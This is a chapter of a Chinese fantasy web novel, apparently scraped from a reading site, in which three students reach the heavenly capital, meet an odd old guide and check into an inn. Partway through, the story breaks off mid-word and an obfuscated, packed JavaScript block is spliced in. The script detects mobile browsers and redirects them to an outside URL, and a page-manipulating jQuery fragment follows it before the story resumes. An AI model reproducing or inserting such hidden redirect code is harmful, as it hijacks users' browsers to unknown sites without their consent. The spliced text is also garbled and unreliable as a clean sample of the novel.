84.上岸

作品:《反派?那也得冲业绩!

    他这才敢跑到大街上来逛,继续靠偷钱来活命,正巧那一天就遇上了人傻钱多的麟其,被他带回了家。


    人的善良果然都是有限的,看着可怜就养几天,觉得烦了就要抛开。


    有爸妈要的孩子是人,没爸妈要的是小猫小狗,他里面还是不会叫的那只。


    一夜噩梦,浮浮沉沉。


    季寻再次睁开眼,已经是第二日清晨。


    他跑出船舱,让海风吹醒头脑,视线模糊中,一座座金殿层层叠叠,藏匿于云中。


    “第二天”再向上走,就是天国的政权中心——镜都。


    雪松针学院坐落在第二天与第一天的交接,洛水边上的黄金位置,上能听圣殿歌声,下能逛看天国街市。


    乘船逆流而上,路过学院大门,兰可一眼看到收到她消息,提早等在门口的英卡,兴奋的朝他挥动胳膊。


    “我们走啦!”


    “接着!”英卡突然丢了个红色的珠子过来,兰可接住,就听他喊道:“送你的!别忘了我!等我去镜都找你!”


    一颗红石,正是英卡整日打磨的那一颗,光滑漂亮,用一根绳子串着。


    兰可戴在了手上,顿时被照耀出精光,她招手回喊道:“我保证!记得来找我!”


    “一定去!”英卡也招手和他们告别,手腕上另一颗珠子也闪烁着灿烂,一远一近,交相辉映。


    季寻心虚的不敢看英卡的脸,举起手挥了挥,罗新也象征性的招招手。


    远处,学院门口的学生们眼中,船上三人都换上了干净的校服,领带颜色各异,在船边站成一排。承载着雪松针学院荣光,去往他们无限向往的高度。


    地球外的另一空间,天国正值黄昏三刻,燎荒码头热闹非凡。


    金牛历接近尾声,双子时期即将来临,天界的云霞日夜进行着由蓝到青的转变。


    雪白的飞马起起落落穿梭在三四重天的浮云间。天空湛蓝,微风柔和,马儿翅膀有规律的起伏着,身穿铁甲的白骑士聆听着地面传来的嬉戏声,守卫着神脚下的厚土---镜都


    这是比时间更古老的都城,这是比精神更永恒的存在,这是天人用生命歌颂的奇迹。沉重的钟声敲响,响彻云霄。白云编织的梦景中,远方传来风铃与长笛合奏的旋律,比红树的果实还要甜美。


    因为举行了复赛又去参加了武士巡演的缘故,三人成为今年最迟一队赶到的学生。


    船队刚到镜都边界就被拦了下来,只放了他们三个进来,随从通通遣返。


    码头上熙熙攘攘,人声嘈杂,挤在人群中十分不便。


    罗新和季寻倒是没什么,只是兰可拖着一个足足三个装的鼓囊囊的行李袋,风风火火的走在前面很是滑稽。


    他们比要求的时间晚了三天,码头上提前等在这里迎接他们的引荐仙早已经走光了。


    兰可左看看右看看,跑到一个躺在摇椅上盖着帽子睡觉的老渔夫身边,道:“这位上仙,你知不知道各个天层被送来的分派生应该去哪里报到?”


    “……”


    “这位长官,长官?”


    罗新弯腰用手掀起一片水花,浇了摇椅上的人一身水,可惜人没醒。兰可从他身边闪开,叫道:“你干嘛?尊重一下老人好吗!”


    罗新满不在乎的凑到摇椅旁,掀开他盖在脸上的帽子,老人油腻的脸上两撮胡子,他啧了一声,摸摸自己的下巴道:“他是不是死了?”


    兰可诡异瞅了他一眼,罗新摸摸下巴,大胆的伸出手去探了探鼻息。


    “干啥!活着呢!”


    话音未起,已经一记暴打往罗新头上招呼。


    季寻站在远处眺望远方,不怎么在意这边的情景。兰可小跑过去叫他,还没走两步,突然听见罗新的惨叫,惊的她脚下一抖,季寻也被这一声惊回了魂。


    回头就见罗新正捂着额头转来转去,疼得呲牙咧嘴。


    原本躺在摇椅上不动弹的人已经坐起来,手里拿着袭击罗新的“凶器”,一把银光闪闪的戒尺,老人胡子气的翘起:“你在拽一下老夫胡子试试看!”


    转头他又一脸茫然,一脸刚睡醒不清醒的模样,朝那边两人招招手:“那两个小姑娘,老夫在这儿呢,愣着干嘛?”


    季寻:……?


    兰可脚踩风火轮把他拉了过去,一把推开愁眉苦脸的罗新,板板正正的,开口就是兵:“…长官!”


    “嗯……”老人捋捋胡子,眯着眼睛从上到下打量一遍兰可,目光扫过她身后那对健硕的翅膀,赞道:“漂亮!”


    这其实是极其无理的,兰可干笑两声,正想问他,老人突然指着季寻,恍然大悟道:“你不是女人啊?不是女人我叫小姑娘过来你跟着过来干嘛?”


    季寻手心犯痒,攥紧拳头背在身后。


    老人见好就收,正经起来道:“从雪松针来的是吧?跟我走吧,等你们两个好久了,等的老夫胡子都蔫了”


    “长官,其实我们有三个人。”兰可指指罗新,“他是和我们一起的。”


    罗新额头爆红,满眼幽怨的瞪着他们。


    老人“哼”了一声,拎起兰可过于丰富的行李,朝正东方走去。三人跟在身后,在人潮中穿梭,不少人纷纷回头,目光落在季寻身上,窃窃私语。


    老人摘下帽子,反手扣在了他头上,遮住了那一头惹人注目的黑发。兰可连忙帮他道谢,帮老人在后面推着行李。


    “老人…我们是要去和别的天层来的分派生们汇合吗?”


    “什么老人老人的,多难听啊。鄙姓舍,名‘三寸’,叫我三寸叔就行。”


    “什么怪名字,三寸不烂之舌?”罗新音调无比阴阳怪气,兰可头都不用回,精准的踹了罗新一脚,道:“三寸大叔,你说你是在这特意等我们的?”


    “兰可、季寻、罗新”舍三寸念叨的顺溜道:“一个冲锋陷阵的,一个跟着补刀的,一个做后援的,我说的没错吧?”


    一定程度上,也没错。


    “咱们这是上哪里?去云宫吗?”


    “云宫?云


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076743|194639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宫这两天是去不了了。”舍三寸边走边道:“我带你们去找个落脚的地方,等风波过去,自会有人带你们进云宫的。”


    兰可好奇道:“风波?什么风波?”


    舍三寸道:“不干你们的事,安心在镜都住下吧,如果没被选上,估计这就是你们这辈子第一次也是最后一次能够资格进一次镜都了。”


    说完,他从口袋里掏出三枚勋章,一人扔了一个过去。“这是你们在镜都的临时通行证,拿好别丢了。”


    天国除镜都外八层,每一层都会有几个天资万里挑一的可造之材,十年一筛,会有不到一百人通过考核进入镜都。


    其中幸运的会被九大神收入麾下,不幸的只能遣送回家,或者被封一个不大不小的官职被丢进某个天层,高不成低不就。


    兰可实力够硬,自然没有这种烦恼,她更担心的是罗新和季寻。


    偏偏季寻心不在焉,罗新还在满嘴扯皮:“长官,我们初上镜都,有没有什么需要特别注意的或者特别避讳的事啊?你是镜都的上仙,知道的肯定多,给我们讲讲呗?”


    舍三寸默不作声,停下脚步幽幽道:“就是这儿了,这是房票。”


    “您不进去坐坐吗?”


    “不了,我还有事要干。”舍三寸转身利索的走了,“我还要去等下一批来镜都的人”


    下一批起码还得五百年,他就这么再等五百年吗?季寻无语。


    眼前是一间低调又不失奢华,简约又不失老土的旅店,门前两侧放了两个弯腰到与路面齐平的石像,石像眼睛里喷着泉水,垂直流下,真真正正做到了“泪如水柱”。


    “真别致啊”罗新肩膀怼怼季寻,“是不是很有艺术感?”


    季寻摇摇头,他觉得罗新现在即兴哭一把都比这雕塑有艺术感。


    “这是冥界特色的装饰,”兰可对这些很熟悉,道:“前几年冥界得了好些个手艺高超的匠人,冥王很喜欢,选出了好多件作品送来天界。”


    当年浩浩荡荡送来了足足九十九件大大小小的雕刻,据说当时金车打开,当那一堆极具“艺术”性的雕塑出现在圣殿中央时,满天神佛活脱脱一副见了鬼的表情,就是体面如右天王连假笑都做不出来。


    至于这些雕塑到底表达了什么糟心的思想没人知道,只记得右天王大手一挥,给天界各个名门贵族随机每族送了一件,都是各具特色,尤其是那一件“孤男怨女”。


    当时一家人在饭桌上收到了左天王的赏赐,年少无知的兰可兴奋不已的当场拆开那极尽奢靡的包装,一座半人高的雕像出现在眼前。


    一个十分俊美的男人环抱着一个已经死去的女人,女人开膛破肚,伤口边缘还挂着几只蛆虫,两人正流着泪接吻。


    给年幼无知的小女孩带来不小的视觉冲击。


    罗新眉头一抽一抽,道:“我感觉冥王是故意的,故意用文化冲突报复社会。”


    “这你就错了。”兰可很大度的拍了拍雕像流着泪的脑袋:“冥王品味,一向如此。”